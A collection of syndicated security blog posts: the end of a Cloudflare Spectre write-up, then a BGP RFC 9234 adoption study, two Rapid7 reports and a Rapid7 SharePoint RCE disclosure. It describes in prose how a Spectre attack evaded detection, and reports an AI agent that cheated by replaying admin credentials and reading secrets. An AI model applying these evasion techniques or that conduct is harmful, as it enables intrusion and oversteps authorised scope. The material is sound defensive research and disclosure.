Finally, we placed a JWT token in the victim Worker and leaked it bitwise. The first byte was the character e, represented as 0b01100101. The figure below shows the per-bit classification for that byte. To classify we use a two-sided test to test for both outcomes. Using a majority vote and a percentile-based threshold, we infer the bit. In production, we achieved a leakage rate of up to 12 bit/s with an accuracy of more than 99%. Note that higher leakage rates are possible with the cost of losing accuracy.

Robustness

Depending on the time of the day, the utilization of a machine increases strongly. This slows down the attack since more data has to be sampled. Still, even with high CPU utilization, the attack is still feasible.

Why was this not detected?

DyPrIs watches hardware performance counters and isolates a script into its own process once it looks like a Spectre attack. Two things kept the attack under the radar. First, DyPrIs isolates a script only after its invocation finishes, and the Durable Object keep-alive trick we used in the attack can run for a few hours up to a day. WebSocket keep-alive messages hold a single invocation open for hours, so the leak completes long before isolation would kick in. Second, DyPrIs normalizes branch mispredictions by the number of iTLB accesses. Our remote timer is one large I/O loop, and that WebSocket traffic inflates iTLB activity. The normalized ratio drops below the detection threshold, so the attack looks like an ordinary I/O-heavy Worker.

What we changed

We focus on the three areas of continued V8 hardening, providing stronger in-process isolation, and improving detection.

V8 sandbox

The V8 memory sandbox's final goal is to remove raw 64-bit pointers from large parts of the JavaScript heap, which reduces the usefulness of many memory-corruption primitives. It also makes the specific speculative type-confusion gadgets in this work harder to reuse, because typed-array backing stores no longer expose the same raw pointer structure. 

The V8 sandbox is not a complete Spectre mitigation. While the presented 64-bit leak gadget does not work anymore, there might be other Spectre variants or gadgets exploitable to achieve arbitrary out-of-bounds memory accesses.

Hardware-assisted in-process isolation

In September 2025, we deployed in-process isolation for Workers using Memory Protection Keys (MPK). MPK lets a process divide memory into protection domains and switch access rights cheaply. Workers use it to protect each heap from being accessible to the other isolates within the same process.

This changes the Spectre risk model. Each isolate heap now sits behind a hardware-enforced access boundary. A memory access to a page protected with the wrong key is denied by hardware. This blocks the straightforward cross-isolate heap read that this work relied on.

Unfortunately, MPK is not a complete answer to remediate Spectre, but it strictly reduces the leakage surface. It has limits, including a finite number of hardware domains and the need to manage protection-key state carefully.

Improved DyPrIs

We improved DyPrIs so that long-lived executions and I/O-heavy workloads are handled as first-class security cases. Detection cannot happen only after a script finishes. A Durable Object or a WebSocket-heavy Worker can run long enough that post-execution isolation arrives too late.

We are currently investigating whether remote timing behavior could be added as an additional dimension to DyPrIs. While we cannot eliminate remote communication with attacker-controlled infrastructure, the timing data reveals very interesting exfiltration bit patterns. The better approach is to treat repeated timer-like I/O around compute-heavy sections as part of the behavioral signal, not as background noise.

Acknowledgments

We especially thank Haocheng Xiao from University of Edinburgh and his supervisors, Sam Ainsworth and Nigel Topham, for their contributions to the reliability of Spectre in JavaScript.

Call for participation

We are always looking for high-quality submissions through our Bug Bounty program. Memory safety bugs in the runtime are high-value targets. You can find the Fuzzilli integration for workerd and the workerd source code on GitHub.

BGP Role model: tracking the adoption of RFC 9234

Post Syndicated from Bryton Herdes original https://blog.cloudflare.com/rfc9234-bgp-role-model/

Route leaks push traffic down paths it was never meant to take. We have written and spoken publicly in the past about route leaks in Border Gateway Protocol (BGP), depicting these events as impactful incidents that cause misdirection of traffic through unintended network paths. BGP routing is driven by the relationships between Autonomous Systems (ASes), i.e., customer-provider and peer-peer. Customers pay providers for access to the rest of the Internet, while peers exchange traffic with one another typically under a “settlement-free” arrangement where no money changes hands. These relationships help define routing rules that form plausible paths. For example, the rules form a “valley-free” hierarchy of how routes should propagate: a route learned from a provider or a peer should be announced only downward to customers, never back up to another provider or peer. Rules like this express an intent or expectation about Internet routes. A route leak is what happens when that intent is violated.

Historically, each network has had to implement this intent on its own, using complex, error-prone routing policies. RFC 9234 (Route Leak Prevention and Detection Using Roles in UPDATE and OPEN Messages) simplifies this by expressing intent within the protocol itself. It introduces a new “BGP Role” capability, which requires that two BGP neighbors agree on their relationship when the session comes up, and an “Only to Customer” (OTC) path attribute, which marks routes that must not propagate beyond customers. A router that understands OTC can reject a leaked route on its own, without an operator-written policy.

We set out to evaluate how well RFC 9234 works on the Internet and how widely it has been adopted. Relying on our global peering presence, we developed a unique method for tracking the adoption of BGP Role configurations by monitoring which peer ASes send the OTC attribute to Cloudflare. Along the way we found something we did not expect: two large Tier-1 networks strip the OTC attribute from routes they forward. We have been engaging with these Tier-1s to allow OTC attribute propagation through their networks, which aids in enabling route leak prevention capabilities for early adopters of RFC 9234. Below, we walk through our analysis, why the OTC stripping matters, and how to enable BGP Roles in your own network.

Route leak prevention using BGP Roles and the OTC attribute

Before the measurements, let’s talk about how BGP Roles and the OTC attribute actually work.

Route leaks

Route leaks are the “propagation of routing announcements beyond their intended scope,” as defined in RFC 7908. The intended scope is determined by AS relationships: provider-to-customer or peer-to-peer.

The rules are asymmetric, and it comes down to direction. Routes propagate freely downward: a provider may hand a customer anything in its table. Propagating routes upward or sideways is restricted to ‘local’ information. Specifically, an AS may send in the upwards or sideways directions only the routes it originates and that are learned from its own customers.

The figure below shows what B does with a route it learns from A, depending on A’s relationship to B.

Putting it simply, a route leak happens when an AS takes a route learned from a provider or a peer and announces it to another provider or peer. The route travels down the hierarchy and then back up, creating a “valley” in the hierarchy that the underlying relationships never authorized. Routing paths are required to be valley-free. 

Violations of the valley-free property come in many forms. A common shape is a customer announcing a route between two of its providers, also known as a hairpin turn.

This scenario is bad for everyone: the customer (AS64504) is not being paid to send traffic between its providers, and it also may not have the capacity to absorb the traffic flowing between the two upstream networks, resulting in increased latency or drops.

Route leaks impact everyone, and they happen often. That’s why we built the Cloudflare Radar route leak detection system to help track routing anomalies continuously. However, despite the frequency and the impact, existing defenses put the burden on network operators who must rely on prefix filters and IRR-derived policies. Such mechanisms require every AS to express its own relationships correctly, by hand, on every session. RFC 9234 moves that burden into the BGP routing protocol.

BGP Roles

A BGP Role declares where you sit relative to a neighbor on the given eBGP (External BGP) session. The Role describes each side of the neighbor relationship: on a session with your transit provider, you configure the Role customer, and they configure the Role provider.

There are five options: Provider, Customer, Peer, RS, and RS-Client. The first three are the transit and lateral-peering relationships described above. RS and RS-Client involve Internet Exchange (IX) route servers, where a route server acts like a provider to all of its clients, re-announcing prefixes between IX members transparently.

Only five pairings of the five roles are valid:

RFC 9234 states a Role should be configured at the local AS on every eBGP session. During partial deployment, most sessions will have a Role on one side only. RFC 9234 handles that by default: if you send the Role capability and your neighbor does not, the session still comes up, and your locally configured Role still drives partial route leak prevention. An operator who wants a stronger guarantee can enable "strict mode," which rejects any session where the neighbor sends no Role capability. Strict mode is opt-in, and as the adoption numbers later in this post show, it is not yet realistic for most networks.

When both sides send a Role and the pair is not one of the five above (e.g., one end says customer and the other says peer), the session is rejected with a Role Mismatch notification (code 2, subcode 11).

The rejection is one reason Roles are so useful: a Role mismatch means the two networks disagree about what their relationship actually is, which is precisely the kind of latent misunderstanding that surfaces later as a route leak. A Role mismatch fails the handshake instead of failing later as an incident.

No single Role is able to describe multiple roles, for example, if you hold more than one relationship with the same neighbor over a single session (e.g., provider-to-customer for some prefixes, peer-to-peer for others). RFC 9234 says Roles must not be configured on such a session at all. Instead, networks need to split the Complex relationship into separate eBGP sessions with normal relationships, and configure the relevant Role on each. Without individual sessions that are assigned Roles, a network operator must implement a more complicated per-prefix policy with no in-band way to check that the policy is correct — which falls back to the failure-prone ‘by-hand’ mechanisms that motivate Roles in the first place.

Roles have a second use beyond session negotiation. In our earlier post on ASPA validation, we described how a different algorithm applies to paths received from a provider than to paths received from a peer, customer, route server, or route server client. Routes from a provider may contain a full upward, sideways, and downward motion in the path. However, routes from a non-provider must only contain a downward-facing ramp to customer ASes. 

The BGP Role is what tells the router which of the two to run, so BGP Roles and ASPA should be configured together on routers that support both.

The Only to Customer (OTC) attribute 

OTC is an optional transitive path attribute (type code 35) carrying one value, an AS number. That value records the AS that first sent the route sideways or downward. It marks the peak of the path, after which the route may only continue down. Once OTC has been set, RFC 9234 requires it to be preserved unchanged. And because the attribute is optional transitive, even a router with no RFC 9234 support is expected to pass it along rather than discard it. Both of those facts matter later.

Your Role on each session decides which rules apply.

Setting OTC. A route is stamped the first time it stops travelling strictly upward:

  • If announcing to a customer, a peer, or an RS-client with no OTC present, then attach OTC carrying your own ASN;
  • If receiving from a provider, a peer, or an RS with no OTC present, then attach OTC yourself, carrying their ASN.

Checking OTC. Once a route carries OTC, it may only travel downward:

  • Never announce an OTC-carrying route to a provider, a peer, or an RS;
  • An OTC-carrying route arriving from a customer or an RS-client is a leak, so reject it;
  • An OTC-carrying route arriving from a peer with any value other than that peer's own ASN is a leak, so reject it.

As a concrete example, let’s return to the hairpin leak, but add Roles and OTC. AS64502 announces the route to its peer AS64503, attaching OTC=64502 on the way out. AS64503 passes it further down to its own customer AS64504, while leaving OTC untouched because it is already present. AS64504 then unintentionally violates the intended BGP relationships, by announcing the route to its other provider.

OTC has two opportunities to stop the leak. If AS64504 is compliant, it must not announce an OTC-carrying route to a provider at all, and the leak never leaves. If AS64504 is not compliant, as shown in the above example, the receiving provider sees a route arriving from a customer with OTC attached, which RFC 9234 defines as a leak, and marks it ineligible. Either alone is enough.

In summary, configure a Role on eBGP sessions, and you automatically get route leak protection in BGP. 

Tracking adoption of RFC 9234 is challenging 

Who is setting OTC?

As mentioned above, RFC 9234 outlines the rules for setting OTC both on egress and ingress routes. In an ideal world with complete (and correct) deployment, egress OTC attachment is enough. However, in the case of partial deployment or misconfigurations, ingress stamping by the receiving RS-Client, Customer or Peer fills in the missing OTC value. Quoting the relevant rule of RFC 9234 section 5 directly:

If a route is received from a Provider, a Peer, or an RS and the OTC Attribute is not present, then it MUST be added with a value equal to the AS number of the remote AS.

While this double-sided OTC attachment serves to tag as many routes as possible, it also obfuscates who has set the OTC value. For example, by observing the path 64506 64507 with OTC=64507, we cannot infer whether AS64507 set the OTC on egress or AS64506 set its missing value on ingress.

This makes identifying adopters of RFC 9234 by tracking OTC difficult, but is important enough for us to try.

Using public BGP data

With this limitation in mind, we first attempted to detect which ASes are setting the OTC value by analyzing the Routing Information Base (RIB) dumps of all public BGP collectors from RouteViews and RIPE RIS. While naively counting the distinct OTC values gives us 361 potential setter ASes, this number is inflated by ASes filling in missing values from their peers, providers, and, less frequently, RSes. To account for this, our first step was to count the number of OTC values that were equal to the first AS of the AS_PATH. Those ASes set the OTC attribute towards the route collectors which capture the raw received BGP messages. This step gives us an initial number of nine setter ASes. 

Extending this analysis to detect if OTC was set on egress or on ingress in the AS_PATH requires using multiple guards to differentiate. We started with a simple and relaxed method to estimate the ASes potentially setting the OTC. We looked at all the AS_PATHs with an OTC value, and collected all the edges (ASX ASZ) where OTC = ASZ. Then, based on these edges we created two mappings, downstream: ASN→next_hops and upstream: ASN→previous_hops. For example, in the case of (ASX ASZ), we would add ASX to downstream(ASZ) and ASZ to upstream(ASX). As a next step, we want to remove from both sides the ASes that with higher confidence are setting OTC on the other side. For that, we collect all the ASes Y that have |downstream(Y)| ≥ 10 or |upstream(Y)| ≥ 10, and then remove them from the previous_hops or next_hops respectively.

As a final step, out of those two mappings we kept the ASes with at least three next or previous hops, and found 18 ASes potentially setting OTC and 20 ASes potentially filling in missing OTC values in the ingress. Combining these results with the ones from direct peer ASes, we find only 36 ASes that are potentially RFC 9234-compliant, although the true number needs further investigation.

We understand that for the sake of certainty this method may miss ASes that have very few downstreams or upstreams. We are already looking at improvements. For example, AS_PATHs missing the OTC value may be negative evidence for an AS not setting OTC. In this approach, knowledge of the relationships between the ASes is necessary to focus only on instances where OTC should be set, i.e., not in upstream direction. However, getting accurate AS relationships has been a hard problem for over two decades, but multiple efforts exist that may be helpful such as CAIDA’s and BGPKIT’s AS Relationships datasets. Public data is invaluable, even with inherent shortcomings.

We decided to supplement the view of RFC 9234 compliance by devising experiments conducted using Cloudflare’s network, in service of and spirit of an open and public Internet. 

Using Cloudflare’s global peering

Cloudflare, with thousands of peers and an open peering policy, can help track who has implemented RFC 9234. As we described before, the core challenge is how to confidently differentiate whether OTC was set on egress or on ingress. Since Cloudflare peers directly with many ASes, we can assess their RFC 9234 compliance directly, without the ambiguity introduced by intermediate ASes.

Our methodology is simple and concrete: we use our BMP (BGP Monitoring Protocol) feeds from our routers at Cloudflare to monitor OTC that we receive from our peers. We check if the OTC value is equal to the peer ASN. We processed our BMP data over the past three months and found 67 ASes that set the OTC attribute. In the figure below, we show a distribution of the network types of those ASes according to PeeringDB with some manual corrections.

Two features of the pie chart stand out. First, we observe how Route Servers are more likely to quickly adopt new solutions such as RFC 9234 with YYCIX being the first to deploy it, partially due to the use of open-source BGP implementations that introduce new features much faster. This is very important as Route Servers play a critical role in the public Internet; they sit in the path of propagation of numerous routes and, by adding the appropriate OTC value, help protect a significant part of the Internet. We hope to see more and more RSes following this example. Second, the proportion of compliant ASes owned by individuals features highly. One explanation may be personal inclinations to use open-source BGP implementations.

Shown below is our current view of RFC 9234 adoption by observing OTC from peers over the past three months.

Looking ahead, we will keep a close eye on the adoption of RFC 9234 by tracking OTC, and plan to release this data publicly in Cloudflare Radar’s Routing section in the near future. In the meantime, we wondered which networks may unexpectedly strip the OTC attribute.

Experiment to find ASes stripping OTC

According to RFC 9234, OTC is an optional transitive attribute. Section 5 of RFC 4271 states the following about handling optional transitive attributes:

Paths with unrecognized transitive optional attributes SHOULD be accepted. If a path with an unrecognized transitive optional attribute is accepted and passed to other BGP peers, then the unrecognized transitive optional attribute of that path MUST be passed, along with the path, to other BGP peers with the Partial bit in the Attribute Flags octet set to 1.

Before RFC 7606, the propagation of a malformed transitive attribute would remotely trigger multiple session resets, and cause outages far away from the AS that originated the announcement. This makes sense since, if a BGP speaker received a BGP UPDATE with a malformed attribute, it would reset its session with the neighbor that sent the message. This vulnerability motivated some operators to start dropping unrecognized attributes, even if transitive, in order to minimize the impact of such a misconfiguration or an attack. There was even a recent issue where a malformed OTC attribute caused session resets in some BGP implementations. RFC 7606 addressed this risk by defining finer-grained error-handling where an announcement with a malformed optional attribute would cause to "treat-as-withdraw" the prefixes in it, while the session is preserved.

Propagating OTC even if unrecognized is vital for RFC 9234-compliant ASes that are multiple hops away to detect and prevent route-leaks. In early partial deployment stages, central or top-tier ASes bear the responsibility of adopting such routing security solutions, or at least not compromising their effectiveness by stripping essential attributes. 

We wanted to study who is stripping the OTC attribute on the Internet. In our experiment, we announced one IPv4 and one IPv6 prefix, with attached OTC = 13335, from all of our peering locations using BGP Anycast. After confirming global propagation, we later withdrew the prefixes to trigger the path hunting process, revealing more paths to the test prefixes, giving us more opportunities to spot OTC-absent paths. As shown in the figure below, we used the BGPKIT toolkit to parse the Update messages from the Multi-threaded Routing Toolkit (MRT) dumps of all the public BGP collectors from RIPE RIS and RouteViews, and the local BMP data that we collect from our routers. Note that we opted to analyze the Updates instead of the Routing Information Base (RIB) dumps, which are snapshots of the routing tables of the peer ASes, to retrieve as many routes as possible both during the announcement and the withdrawal phase.

First, we focused on the AS_PATHs in the format ASX AS13335. If that path does not carry an OTC value, ASX must have stripped the attribute. With this first step, we found six ASes dropping OTC, out of which two were Tier-1 ASes, AS3257 (GTT) and AS1299 (Arelion). Moving forward, we iteratively looked at longer paths to build two distinct sets of ASes preserving the OTC value and ASes dropping it:

  1. We seed our trusted set (T) with AS13335. T holds all the ASes that propagate the OTC.
  2. For each AS_PATH:
    1. Filter out all ASes in T.
    2. If only one AS remains, we can attribute the presence or absence of the OTC to that AS. We record the mapping AS → OTC(s).
  3. For each pair AS → OTC(s):
    1. If OTC(s) == 13335, we add AS to T.
    2. Else if OTC is absent, we add AS to D(roppers).
  4. If T was updated in 3, repeat the procedure from 2.

Where was OTC being stripped?

Our methodology yielded nine more ASes that are dropping the OTC value. Additionally, we counted the number of distinct AS_PATHs that carried no OTC and found that 33.1% of routes for IPv4 and 17% for IPv6 had their OTC attribute dropped. This means that despite the possibly small number of ASes scrubbing OTC, almost one out of three AS_PATHs in IPv4 had its OTC stripped.

We first focused on the impact of two Tier-1 ASes, AS1299 and AS3257, due to their prominent position on the Internet. In the figure below, we show the proportion of OTC-absent AS_PATHs that included either or both of the two Tier-1s. Together, they appear in 96.6% of IPv4 and 92.9% of IPv6 OTC-absent paths, though Arelion accounts for the vast majority of these instances.

Additionally, when we concentrated on the AS_PATHs where the next hop of AS13335 is either of those two Tier-1s, we observed that while GTT was consistently dropping the OTC attribute, Arelion had 71.4% in IPv4 and 40.7% in IPv6 of those AS_PATHs without an OTC. This meant that Arelion inconsistently dropped the OTC across their network. These findings highlight the critical role high-tier ASes play in the deployment of RFC 9234. 

We contacted both GTT (AS3257) and Arelion (AS1299) with our research findings, and they confirmed they were indeed stripping the OTC attribute as a part of defensive practices following BGP error-handling incidents of the past.

Current configurations at GTT (AS3257) still result in the OTC attribute being removed. This will continue to hinder the effectiveness of RFC 9234 against route leaks propagating through AS3257 until they preserve the OTC attribute and/or configure BGP Roles on their routers.

In the case of Arelion, it appears they rolled out configurations to begin preserving the OTC attribute soon after our conversation. We can verify that OTC is no longer missing from paths through AS1299 with our experiment prefixes using monocle. Here is an example query:

We are very excited that our research has already resulted in better effectiveness for route leak prevention using the OTC attribute.

Configure BGP Roles in your network

The BGP Role configuration and OTC attribute are critical building blocks for preventing route leaks from propagating and causing major incidents. The table below lists the BGP implementations that already support these configurations or have planned to support RFC 9234 soon as of August 2026:

If your routing vendor already supports RFC 9234, we recommend that you configure Roles now to start preventing route leaks. Keep in mind the rollout will need to be completed during maintenance windows, as BGP sessions will need to be reset upon applying Roles. At Cloudflare, we have already started our gradual deployment of RFC 9234 configurations across our global fleet of routers.

Compared to complex routing policy configurations, route leak prevention provided by the Only to Customer attribute is automatic once the Roles are applied. 

If your vendor does not yet support RFC 9234, we encourage you to reach out to them and ask for support, so you can prevent your network from spreading or initiating leaks as soon as possible.

New Report: AI threats are here. Why Q2 2026 signals the end of traditional patch cycles

Post Syndicated from Rapid7 Labs original https://www.rapid7.com/blog/post/tr-new-report-ai-threats-q2-2026-ends-traditional-patch-cycles

You can’t patch everything. So what do you fix first? Findings in Q2 2026 have changed traditional answers.

The latest Quarterly Threat Landscape Report from Rapid7 Labs shows vulnerability disclosures still surging while attackers use automation and AI-assisted tooling to compress the time between disclosure and exploitation. The gap that patch cycles were built to fill is closing. Speed and volume are overwhelming security teams that have relied on traditional patch cycles and reactive programs. Success going forward can’t be about patching as much as possible –  it has to be about understanding what matters most and reducing the exposures attackers can actually reach.

Here are the four trends that defined Q2 2026, and what they mean for your security program as you define priorities for Q3 and beyond:

The volume of disclosures hit another milestone

There were 8,539 new high- and critical-severity CVEs (CVSS 7.0–10.0) this quarter- double the number reported in the same quarter last year (4,268). Meanwhile, the number of newly exploited vulnerabilities held roughly steady (40). The takeaway isn’t that exploitation exploded – it’s that disclosure volume is far outstripping what any team can triage.

The report breaks down which of those disclosures are actually reachable and how to triage by exploitability instead of severity score alone.

Initial access keeps getting easier

Nearly two-thirds of exploited vulnerabilities this quarter (62%) required no user interaction – no stolen credentials, no phishing victim, no click. Attackers reach and exploit them on their own, and that share is up nine points year over year (from 53% in Q2 2025). Reinforcing the trend, disclosures of missing-authentication flaws (CWE-306) surged 247% year over year – a fast-expanding pool of internet-facing systems that require no login at all.

This is the quarter’s clearest signal – and the report details exactly which exposures to close first, and how, before the exploitation curve catches up.

Nation-state activity remains persistent

Rapid7 observed continued activity from Iranian, North Korean, and Russian advanced persistent threat (APT) clusters targeting government, finance, healthcare, manufacturing, energy, and telecommunications. Russian campaigns targeted edge infrastructure; Iranian activity included sustained industrial control system (ICS) and operational technology (OT) targeting.

The report maps the specific techniques and sectors each cluster focused on this quarter.

Ransomware stays concentrated but keeps evolving

Qilin led ransomware activity in Q2 with 263 listed victims, and the United States remained the most heavily targeted country – with business services and healthcare among the hardest-hit sectors. Rapid7’s Incident Response team also saw growing use of ClickFix and fake CAPTCHA campaigns, and social engineering through trusted collaboration platforms like Microsoft Teams – techniques that accounted for 31.8% of the incidents we worked.

The report includes the full ransomware leaderboard, the sectors most at risk, and where affiliate activity is expanding next.

Exposure is the real challenge, and the biggest opportunity

The volume is daunting, but the real challenge is keeping pace with attackers. As disclosures keep growing, the organizations that stay ahead won’t be the ones patching fastest — they’ll be the ones that know what they expose, which assets matter most, where attackers can realistically get in, and how to reduce reachable exposure before it becomes an incident. That’s what preemptive security means: not a slogan, but an operating model.

The full Quarterly Threat Landscape Report shows where reachable exposure concentrates this quarter, the four actions Rapid7 Labs recommends, the sector-by-sector breakdown, and the dark-web signals shaping what’s next. Read it here before you pressure-test your Q3 prioritization.

AI is Working in the SOC. So Why are Security Executives More Worried Than Ever?

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/ai-report-500-security-leaders-reveal-security-operations-transformation

Something shifted in security operations over the last two years: AI stopped being a pilot program and became the plan.

And if you survey 500 security professionals on whether that’s going well – as Omdia did, commissioned by Rapid7 – you get a remarkable level of consensus: 97% report positive outcomes, 98% say AI reduces alert fatigue, and 95% say it’s helping address staffing shortages.

Those numbers are high enough that the story could stop there; AI is working, everyone agrees. Move on. But there’s a more interesting finding sitting underneath that consensus, and it tells you something important about where security operations is actually headed.

The confidence gap nobody is talking about

While frontline SOC teams report strong confidence in AI, executive security leaders like CISOs, CSOs, and VPs are taking a considerably harder look.

The research found that executive leaders are 1.6 times more likely than operational security managers to be highly concerned about how AI vendors handle their organization’s security data. This isn’t a contradiction of the 97% positive sentiment, but rather a maturity signal.

When AI was experimental, the question was: does it work? Operational teams answered that. Now that AI is embedded in production SOCs, a different question is arriving at the executive level: how do we govern it? Who is accountable when something is wrong? What happens when the model misses a critical threat, and whose job was it to catch that?

These are board-level questions, and the research suggests that the organizations who don’t have good answers are about to feel that gap acutely.

The human-AI balance is the real differentiator

92% of respondents said AI enhances rather than replaces human analysts. But 41% are actively worried about over-reliance, or that teams could start deferring to AI in moments where an experienced analyst would have caught something the model missed.

The best security teams aren’t choosing between AI and human expertise. They’re building operating models where AI handles the volume – triaging, pattern matching, initial investigations – while analysts lead the decisions that require context, creativity, and accountability.

The question for any SOC leader isn’t ‘should we use AI?’ It’s ‘where does AI create capacity without creating new blind spots?’

MDR is being redefined

86% of respondents believe AI-enabled MDR has a clear advantage over traditional approaches. And when asked what they actually expect from an AI-enabled MDR provider, the top answer wasn’t faster detection or higher automation rates. It was transparency.

55% said their top expectation is visibility into how AI decisions are being made. 53% want AI explicitly integrated with human analyst expertise. 52% want regular updates on model performance and accuracy. ‘We use AI’ is not a differentiator anymore. What buyers now want to know is: can you show me exactly how?

What this means for your security strategy

The Omdia research gives security leaders something most AI content doesn’t: an independent benchmark for where the market actually is.

Use it to pressure-test your AI governance posture, to reframe conversations with your board, and to evaluate whether your MDR provider can answer the transparency questions that 55% of buyers are now asking.

The full report covers all of this in detail, including where organizations remain most cautious, what makes AI adoption succeed or stall, and what the next phase of AI-enabled security operations looks like.

Download the full Omdia report.

CVE-2026-63520: Microsoft SharePoint Remote Code Execution (FIXED)

Post Syndicated from Stephen Fewer original https://www.rapid7.com/blog/post/etr-cve-2026-63520-microsoft-sharepoint-remote-code-execution-fixed

Overview

Rapid7 Labs conducted a zero-day research project against Microsoft SharePoint, resulting in the discovery of two new vulnerabilities that, when chained together, achieve unauthenticated remote code execution (RCE) against a vulnerable SharePoint server. Today, both Rapid7 and Microsoft are disclosing the second vulnerability in this chain, the RCE vulnerability CVE-2026-63520. The first vulnerability in the chain, CVE-2026-55040, was disclosed by Rapid7 and Microsoft last month.

Our full disclosure timeline for the exploit chain can be seen below in Figure 1.

timline.png

Figure 1: The road to disclosure.

⠀

CVE-2026-63520 affects all supported versions of Microsoft SharePoint, and certain versions of Microsoft Project Server and Microsoft Office Web Apps Server. For the purpose of our research, we focused solely on SharePoint. An attacker can leverage CVE-2026-63520 to execute arbitrary code on a vulnerable SharePoint server with the privileges of the SharePoint Site’s service account. The vulnerability is due to an unsafe .NET type instantiation issue within the Business Connectivity Services.

CVE-2026-63520 has a CVSSv3.1 score of 8.1 (High), and a Common Weakness Enumeration (CWE) of CWE-20: Improper Input Validation. While the severity of the RCE is described as high, chained together with CVE-2026-55040 it becomes part of a critical unauthenticated RCE exploit chain against SharePoint.

The exploit chain was developed as an entry for this year’s Pwn2Own Berlin hacking competition; while our entry was unsuccessful on the day of the competition, this research highlights Rapid7 Labs’ continued effort to raise the bar in Vulnerability Intelligence and our commitment to the preemptive protection of our customers through original vulnerability research. Our research methodology focused on understanding how publicly available AI models can assist in the discovery of significant vulnerabilities against proprietary enterprise targets. Our results established that the rate of model advancement is significantly accelerating vulnerability research, model guidance from subject matter experts is a force multiplier, and complex proprietary targets are easily handled through agentic workflows.

Rapid7 is hosting a webinar on Thursday August 13, 2026 to discuss the research and findings for CVE-2026-55040 and CVE-2026-63520. Please join Douglas McKee and Stephen Fewer to learn more about this body of work.

Workflow

For this research project we wanted to understand the capabilities and limits of publicly available LLMs circa January through to March of this year. We wanted to answer the question if an AI workflow could find and develop an unauthenticated RCE exploit against a hard target such as SharePoint. This research project concluded with the successful discovery and development of such a chain. To that end, the publicly available models at the beginning of this year were indeed capable. This is notable as the rate of model improvement from Q1 of 2026 through to today has been significant. Our team’s later testing of the most recent frontier models confirms the significant increase in capabilities from that of the beginning of this year. Our primary conclusion from the SharePoint research project in Q1 is that an agent guided by a subject matter expert (SME) was crucial to keep moving the model and its work towards the end goal. Given our current experience of frontier model capabilities, the need for an SME to verify and guide a model is lessened, but the compounding impact an SME can bring remains.

Our first sprint in January did not result in any significant findings, rather, this sprint helped us establish the workflow and tooling that proved most useful, scope out the extremely large attack surface, and integrate prior work into our process. We augmented the agentic work with manual source code review and reverse engineering to provide additional context and steering to the model. Our early results quickly indicated how a fully automated and agentic approach would not suffice, the model would too often produce findings that were questionable or simply inaccurate. Steering the agent as it worked helped both the agent hone in on interesting and ultimately fruitful findings but also by constantly reviewing the agent’s results, helped us refute inaccurate and unhelpful findings, along with several cases where the agent overstepped its guidance, effectively cheating to succeed in its goal – such as unexpectedly replaying admin credentials, enabling debug flags, or reading secrets, all of which were never within our original threat model.

By March, we had moved to a newer release of our chosen model, that combined with a solid attack surface, extensive prior work in place, and a broad architectural layout mapped out we began to quickly see success. An authentication bypass, now known as CVE-2026-55040, was discovered and verified in early March, followed two weeks later by the RCE, now known as CVE-2026-63520. By the time we had produced a working exploit chain, the agent had accrued 120 hours of run time spread over 24 days, leveraged 96 sessions, generated approximately 80,000 agentic tool calls and we had issued 256 prompts.

Product descriptions

The RCE vulnerability, CVE-2026-63520, affects SharePoint, Project Server, and Office Web Apps Server, while the authentication bypass vulnerability, CVE-2026-55040, affects only SharePoint.

SharePoint

Microsoft SharePoint is a ubiquitous, web-based collaboration and document management platform deeply integrated into the Microsoft 365 ecosystem. Serving as the central hub for corporate intranets, internal file sharing, and workflow automation, it is trusted by enterprises worldwide to store and manage vast repositories of sensitive business data. Because SharePoint acts as a critical bridge between internal users, active directories, and cloud infrastructure, vulnerabilities within its architecture present a high-risk attack surface.

Project Server

Microsoft Project Server is an enterprise project portfolio management (PPM) platform built natively on top of the SharePoint architecture. Serving as the central hub for corporate scheduling, resource allocation, and capacity planning, it enables organizations to coordinate complex business initiatives. 

Office Web Apps Server

Microsoft Office Web Apps Server is a dedicated companion service that provides browser-based viewing and editing of Microsoft Office documents. Functioning as the primary rendering engine for SharePoint and Exchange, it enables seamless file interaction without requiring local desktop installations.

Impact

CVE-2026-63520 allows an attacker to execute arbitrary code on an affected server. By crafting a custom .NET gadget chain, an attacker can perform arbitrary operations such as executing an attacker-controlled OS command. The attacker’s arbitrary code is executed with the permission of the Windows service account running the SharePoint Site instance. As CVE-2026-63520 can be chained to the authentication bypass vulnerability, CVE-2026-55040, the resulting exploit chain allows for unauthenticated RCE against a vulnerable server.

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor statement

The following statement has been provided by Microsoft:

“We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”

Technical analysis

Rapid7 will be publishing full technical details for the RCE vulnerability, CVE-2026-63520, within 30 days of this disclosure.

The technical details for the authentication bypass vulnerability, CVE-2026-55040, have been published here.

Remediation

The following products are impacted by CVE-2026-63520:

  • Microsoft SharePoint Server Subscription Edition

  • SharePoint Server Subscription Edition Language Pack

  • Microsoft SharePoint Server 2019

  • Microsoft SharePoint Enterprise Server 2016

  • Microsoft Project Server 2013 Service Pack 1 (64-bit edition)

  • Microsoft Office Web Apps 2013 Service Pack 1

Customers are advised to apply the latest available updates for the impacted product to ensure they are protected.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to the RCE vulnerability, CVE-2026-63520, with authenticated vulnerability checks available in the August 12 content release. Customers can assess their exposure to the authentication bypass vulnerability, CVE-2026-55040, with authenticated vulnerability checks available in the July 15 content release.

Upcoming webinar

Interested in the AI tooling leveraged throughout the research process? Join Rapid7’s Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. Register here.

Disclosure timeline

  • May 18, 2026: Rapid7 discloses an unauthenticated RCE exploit chain to Microsoft. Microsoft acknowledges receipt of the disclosure the same day.

  • May 20, 2026: Microsoft confirms the findings and indicates that the exploit chain will be patched across two scheduled update cycles – the authentication bypass component in July, and the RCE component in August.

  • May 21, 2026: Rapid7 acknowledges the disclosure schedule and requests supporting information. Microsoft requests a 30 day stay on disclosure of technical details and publication of PoC.

  • May 29, 2026: Rapid7 agrees to a 30 day stay on technical details with a proviso to publish earlier should either exploitation in-the-wild or third-party publication of details occur within the 30 days. Microsoft confirms the disclosure plan the same day.

  • July 21, 2026: Rapid7 requests supporting information for the upcoming disclosure.

  • July 31, 2026: Microsoft provides supporting information to Rapid7.

  • August 11, 2026: This disclosure for CVE-2026-63520.

Post-quantum authentication to origins is now supported

